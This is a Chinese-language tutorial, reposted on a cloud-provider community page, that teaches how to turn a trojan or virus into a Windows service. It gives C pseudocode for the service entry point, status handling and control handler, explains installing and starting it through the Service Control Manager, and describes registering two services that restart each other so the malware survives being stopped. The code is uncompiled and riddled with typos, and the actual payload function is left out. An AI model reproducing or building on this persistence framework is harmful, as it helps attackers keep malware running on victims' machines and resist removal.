C語言病毒

來源:互聯網
上載者:User

對於病毒和木馬的啟動,除了顯示修改註冊表,還有一個辦法就是把木馬或病毒做成Windows服務,不過這有一個不好的地方就是它的通用性,因為服務要用到winAPI,所以這樣的病毒和木馬只能運行於Windows系統,而且木馬病毒的體積也會有所增加。
下面我們要把現有的木馬病毒程式轉換為Windows服務,這個需要三個步驟:
一、建立一個新的main進入點,在服務控制管理員中註冊,在這個main函數中要提供邏輯服務名稱和進入點即servermain();
二、把原木馬病毒程式的進入點main函數整合到邏輯服務進入點servermain函數中;
三、編寫我們自己的服務控制處理器函數來響應SCM的命令(服務控制命令)。
現在就根據上面的步驟做一個木馬病毒程式的架構。
首先做一個新的main函數,這裡沒有添加標頭檔,也沒有編譯,只是把關鍵代碼寫上來了,就當是虛擬碼吧。代碼顯示為紅色。
SERVICE_STATUS ServiceStatus;//服務狀態結構體
SERVICE_STATUS_HANDLE hStat; //服務狀態控制代碼
int main()
{
SERVICE_TABLE_ENTRY ste[]={{ServiceName,ServiceMain},
                        {NULL,NULL} };//ServiceName是我們下面準備實現的邏輯服務的名稱,這個像變數一樣可以隨便定義;ServiceMain就是邏輯服務所對應的服務進入點,它只是一個預留位置,函數名稱也是可以隨便起的。這裡可以給出多個邏輯服務,對於我們的木馬病毒應該給兩個邏輯服務。
if(!StartServiceCtrlDispatcher(ste); //在SCM中註冊服務
return GetLastError();
return 0;
}
接下來,定義邏輯服務的進入點ServiceMain函數:
int WINAPI ServiceMain(DWORD argc, DWORD argv[])
{
ServiceStatus.dwServiceType=SERVICE_WIN32_OWN_PROCESS;//設定或返回服務的類型,此處設定為在自己的進程中運行,其他的類型可查看MSDN
ServiceStatus.dwCurrentState=SERVICE_START_PENDING;//設定或返回服務當前的狀態,此為正在啟動中
   ServiceStatus.dwControlAccepted=SERVICE_ACCEPT_PAUSE_CONTINUE;//設定或返回服務可接受的控制,此處為服務可以接受暫停和繼續的控制命令,控制命令稍候介紹,可以查看MSDN。在我們的木馬病毒中,只設定為可接受暫停和繼續控制,像關閉、停止等命令都拒絕接受
ServiceStatus.dwWin32ExitCode=ERROR_SERVICE_SPECIFIC_ERROR;//設定或返回邏輯服務線程的退出碼,如果這個資料成員的值為上述的值,那麼就可以在下一個資料成員指定一個描述值了,否則下個資料成員將被忽略
ServiceStatus.dwServiceSpecificExitCode=0;//如果dwWin32ExitCode為ERROR_SERVICE_SPECIFIC_ERROR,那麼在這兒設定返回的描述值
ServiceStatus.dwCheckPint=0;//用於Tracing Service,必須由服務周期性的增加,否則SCM會在dwWaitHint逾時時報錯
ServiceStatus.dwWaitHint=CS_TIMEOUT;//逾時值
hStat=RegisterServiceCtrlHandlerEx(ServiceNmae //註冊的服務名稱,在StartServiceCtrlDispatcher中設定的邏輯服務名
                              ,ServiceCtrlHandlerEx //服務控制處理器,由我們自己寫的回呼函數
                              ,NULL); //這是一個VOID指標,它將被傳給服務控制處理器。是它的一個參數
SetServiceState(hStat,&ServiceStatus); //用我們上面定義的SERVICE_STATE結構設定服務的狀態
if(MyFun(argc,argv)!=0)//MyFun是我們木馬病毒的函數,木馬病毒的功能在這裡實現
   {
   ServiceStatus.dwCurrentState=SERVICE_STOPEN;
   ServiceStatus.dwServiceSpecificExitCode=1;
   SetServiceStatus(hStat,&ServiceStatus);
   return 1;
}
UpdateStatus(SERVICE_STOPED,0);
return 0;
}
void UpdateStatus(int NewStatus, int CheckValue)//用於更新服務狀態
{
if(CheckValue=0)
ServiceStatus.dwCurrentState=NewStatus;
SetServiceStatus(hStat,&ServiceStatus);
return ;
}
下面定義我們的服務控制處理器:
void ServiceCtrlHandlerEx(DWORD dwControl //由系統傳回的服務控制碼,停止服務為SERVICE_CONTROL_STOP;關閉服務為SERVICE_CONTROL_SHUTDOWN其他的可以查看MSDN
                     ,DWORD dwEventType //通常為0,用於裝置管理
                  ,LPVOID lpEventData //通常為NULL
                  ,LPVOID lpContext); //由RegisterServiceCtrlHandlerEx的第三個參數傳過來的
{
switch(dwControl)
{
   case SERVICE_CONTROL_SHUTDOWN:
       break;
   case SERVICE_CONTROL_PAUSE:
       break;
       .   //其他需要處理的控制命令
       .
       .
   defult:
       if(dwControl>127 && dwControl
一般服務控制處理器是由一個switch..case語句組成的,我們可以根據dwControl命令來設定一些全域變數,從而控制我們的程式。在這裡可以監控我們的服務是否被第三方軟體關閉或執行了其他的操作,我們可以註冊兩個邏輯服務,這兩個服務除了服務名和ServiceMain不一樣,其他的一樣,都是執行我們的木馬病毒。先啟動一個邏輯服務,當啟動的這個服務被關閉或其他動作時,我們的處理器將接受到相應的命令,然後我在處理器中啟動另一個服務,而第二個服務被關閉時,可以啟動第一個,起到相互監控的作用。
現在大家肯定有一個疑問,怎麼啟動我們的服務呢?控制命令是誰發送的呢?
一、可以通過控制台-管理工具-服務來管理和控制,這個大家應該很熟悉了。
二、自己寫程式,這個程式就是我們木馬病毒的啟動程式。首先要開啟SCM,如下:
SC_HANDLE OpenManager(LPCTSTR lpMachineNnme //SCM所在的機器名,一般為NULL,表示本地系統
                   ,LPCTSTR lpDatabaseName //一般也為NULL
               , DWROD dwAccess) //存取權限,可以設定為MANAGER_ALL_ACCESS
然後用上面的函數返回的SC_HANDLE調用CreateService函數,來建立一個邏輯服務的控制代碼,如下:
SC_HANDLE CreateService(SC_HANDLE hSCM, //OpenManager函數返回的SCM的控制代碼
                     LPCTSTR lpServiceName, //邏輯服務的名稱
                  LPCTSTR lpDisplayName, //註冊表關鍵字名稱
                  DWORD dwAccess, //對服務控制代碼的存取權限,可以是SERVICE_ALL_ACCESS
                     DWORD dwServiceType, //啟動類型,這個隊我們很重要,SERVICE_DEMAND_START為手動啟動;SERVICE_BOOT_START和 SERVICE_SYSTEM_START允許裝置磁碟機服務在引導或系統啟動時啟動;SERVICE_AUTO_START指定服務在系統啟動時啟動
                     LPCTSTR lpBinaryPathName, //可執行程式的路徑,我們轉換後的木馬病毒程式,就是我們前面寫的那個架構
                     LPCESTR lpLoadOrderGroup,
                     LPDWROD lpdwTagID,
                     LPCESTR lpDependencies,
                     LPCTSTR lpServiceStartName,
                     LPCTSTR lpPassword)
如果成功,將返回dwServiceName對應的控制代碼SC_HANDLE,通過對這個控制代碼的操作可以控制服務。
用CreateService函數返回的控制代碼SC_HANDLE來啟動服務,如下:
bool StartService(SC_HANDLE hService, //CreateService函數返回的控制代碼SC_HANDLE,指定要啟動的服務的控制代碼
               DWORD argc, //傳給ServiceMain函數的argc參數
            LPTSTR argv()]) //傳給ServiceMain函數的argv參數
這樣,服務就啟動了,現在木馬病毒已經開始執行了,這裡的關鍵就是怎樣把啟動木馬病毒的程式運行。
用這個函數可以向服務發出控制命令,來關閉或停止服務,如下:
bool ControlService(SC_HANDLE hService, //邏輯服務控制代碼
                   DWORD dwControlCode, //控制碼
                   LPSERVICE_STATUS lpServiceStatus) //返回目前狀態的SERVICE_STATUS結構體指標
這個函數的調用,最終將導致用RegisterServiceCtrlHandlerEx函數註冊的服務控制處理器ServiceCtrlHandlerEx執行。
服務的控制碼有以下幾種:
SERVICE_CONTROL_STOP    停止服務
SERVICE_CONTROL_PAUSE 暫停服務
SERVICE_CONTROL_SHUTDOWN   關閉服務
我們已經把木馬病毒轉換為Windows的服務了,而且也做了我們自己的服務啟動和控製程序, 現在只要執行服務控製程序,那麼木馬病毒就開始執行了。

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.